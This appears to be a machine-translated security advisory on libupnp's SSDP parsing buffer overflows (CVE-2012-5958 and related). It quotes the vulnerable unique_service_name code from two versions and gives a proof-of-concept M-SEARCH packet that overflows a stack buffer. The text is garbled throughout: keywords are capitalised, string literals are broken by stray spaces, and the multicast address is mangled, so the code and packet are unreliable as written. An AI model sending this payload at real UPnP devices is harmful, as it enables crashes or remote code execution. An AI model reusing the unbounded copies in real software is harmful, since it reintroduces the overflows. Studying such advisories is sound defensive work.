Release date:
Updated on: 2013-01-31
Affected Systems:
Sourceforge libupnp
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57602
CVE (CAN) ID: CVE-2012-5958, CVE-2012-5959, CVE-2012-5960, CVE-2012-5961, CVE-2012-5962, CVE-2012-5963, CVE-2012-5964
Libupnp is a portable SDK for UPnP devices. It provides APIs and open-source code.
The unique_service_name function in the SSDP parsing module of versions earlier than libupnp 1.6.18 does not perform correct boundary checks on data, but multiple buffer overflow vulnerabilities exist. Attackers can exploit these vulnerabilities to execute arbitrary code in the affected devices.
<* Source: HD Moore
Link: https://community.rapid7.com/docs/DOC-2150
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Metasploit provides the following vulnerability information and test methods:
------------------------------------
Problem code
------------------------------------
// Version 1.3.1 of the Portable SDK for UPnP Devices
// Upnp/src/ssdp/ssdp_server.c
// The cmd variable receives external input.
// The struct Evt contains multiple fixed-length buffers.
Int unique_service_name (IN char * cmd, IN SsdpEvent * Evt ){
Char * TempPtr, TempBuf [COMMAND_LEN], * Ptr, * ptr1, * ptr2, * ptr3;
Int CommandFound = 0;
If (TempPtr = strstr (cmd, "uuid: schemas "))! = NULL)
{
Ptr1 = strstr (cmd, ": device ");
If (ptr1! = NULL ){
Ptr2 = strstr (ptr1 + 1 ,":");
} Else {
Return-1;
}
If (ptr2! = NULL ){
Ptr3 = strstr (ptr2 + 1 ,":");
} Else {
Return-1;
} If (ptr3! = NULL ){
Sprintf (Evt-> UDN, "uuid: % s", ptr3 + 1); // CVE-2012-5961
} Else {
Return-1;
}
Ptr1 = strstr (cmd ,":");
If (ptr1! = NULL ){
Strncpy (TempBuf, ptr1, ptr3-ptr1); // CVE-2012-5958
TempBuf [ptr3-ptr1] = '\ 0 ';
Sprintf (Evt-> DeviceType, "urn % s", TempBuf); // CVE-2012-5962
} Else {
Return-1;
}
Return 0;
}
If (TempPtr = strstr (cmd, "uuid "))! = NULL)
{
// Printf ("cmd = % s \ n", cmd );
If (Ptr = strstr (cmd ,"::"))! = NULL ){
Strncpy (Evt-> UDN, TempPtr, Ptr-TempPtr); // CVE-2012-5959
Evt-> UDN [Ptr-TempPtr] = '\ 0 ';
} Else {
Strcpy (Evt-> UDN, TempPtr); // CVE-2012-5963
}
CommandFound = 1;
}
If (strstr (cmd, "urn :")! = NULL & strstr (cmd, ": service :")! = NULL ){
If (TempPtr = strstr (cmd, "urn "))! = NULL ){
Strcpy (Evt-> ServiceType, TempPtr); // CVE-2012-5964
CommandFound = 1;
}
}
If (strstr (cmd, "urn :")! = NULL & strstr (cmd, ": device :")! = NULL ){
If (TempPtr = strstr (cmd, "urn "))! = NULL)
{
Strcpy (Evt-> DeviceType, TempPtr); // CVE-2012-5965
CommandFound = 1;
}
}
If (CommandFound = 0)
{
Return-1;
}
Return 0;
}
// Version 1.6.17
// The cmd variable receives external input.
// The struct Evt contains multiple fixed-length buffers.
Int unique_service_name (char * cmd, SsdpEvent * Evt)
{
Char TempBuf [COMMAND_LEN];
Char * TempPtr = NULL;
Char * Ptr = NULL;
Char * ptr1 = NULL;
Char * ptr2 = NULL;
Char * ptr3 = NULL;
Int CommandFound = 0;
Size_t n = (size_t) 0;
If (strstr (cmd, "uuid: schemas ")! = NULL)
{
Ptr1 = strstr (cmd, ": device ");
If (ptr1! = NULL)
Ptr2 = strstr (ptr1 + 1 ,":");
Else
Return-1;
If (ptr2! = NULL)
Ptr3 = strstr (ptr2 + 1 ,":");
Else
Return-1;
If (ptr3! = NULL)
{
If (strlen ("uuid:") + strlen (ptr3 + 1)> = sizeof (Evt-> UDN ))
Return-1;
Snprintf (Evt-> UDN, sizeof (Evt-> UDN), "uuid: % s", ptr3 + 1 );
}
Else
Return-1;
Ptr1 = strstr (cmd ,":");
If (ptr1! = NULL)
{
N = (size_t) ptr3-(size_t) ptr1;
Strncpy (TempBuf, ptr1, n); // CVE-2012-5958
TempBuf [n] = '\ 0 ';
If (strlen ("urn") + strlen (TempBuf)> = sizeof (Evt-> DeviceType ))
Return-1;
Snprintf (Evt-> DeviceType, sizeof (Evt-> DeviceType), "urn % s", TempBuf );
}
Else
Return-1;
Return 0;
}
If (TempPtr = strstr (cmd, "uuid "))! = NULL)
{
If (Ptr = strstr (cmd ,"::"))! = NULL)
{
N = (size_t) Ptr-(size_t) TempPtr;
Strncpy (Evt-> UDN, TempPtr, n); // CVE-2012-5959
Evt-> UDN [n] = '\ 0 ';
}
Else
{
Memset (Evt-> UDN, 0, sizeof (Evt-> UDN ));
Strncpy (Evt-> UDN, TempPtr, sizeof (Evt-> UDN)-1 );
}
CommandFound = 1;
}
If (strstr (cmd, "urn :")! = NULL & strstr (cmd, ": service :")! = NULL)
{
If (TempPtr = strstr (cmd, "urn "))! = NULL)
{
Memset (Evt-> ServiceType, 0, sizeof (Evt-> ServiceType ));
Strncpy (Evt-> ServiceType, TempPtr, sizeof (Evt-> ServiceType)-1 );
CommandFound = 1;
}
}
If (strstr (cmd, "urn :")! = NULL & strstr (cmd, ": device :")! = NULL)
{
If (TempPtr = strstr (cmd, "urn "))! = NULL)
{
Memset (Evt-> DeviceType, 0, sizeof (Evt-> DeviceType ));
Strncpy (Evt-> DeviceType, TempPtr, sizeof (Evt-> DeviceType)-1 );
CommandFound = 1;
}
}
If (TempPtr = strstr (cmd, ": upnp: rootdevice "))! = NULL)
{
/* Everything before ": upnp: rootdevice" is the UDN .*/
If (TempPtr! = Cmd)
{
N = (size_t) TempPtr-(size_t) cmd;
Strncpy (Evt-> UDN, cmd, n); // CVE-2012-5960
Evt-> UDN [n] = 0;
CommandFound = 1;
}
}
If (CommandFound = 0)
Return-1;
Return 0;
}
------------------------------------
POC of CVE-2012-5958
The following request packet can be sent to trigger CVE-2012-5958
------------------------------------
M-SEARCH * HTTP/1.1
Host: 239.00000000250: 1900
ST: uuid: schemas: device: AAAA […] AAAA: anything
Man: "ssdp: discover"
MX: 3
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Sourceforge
-----------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://pupnp.sourceforge.net/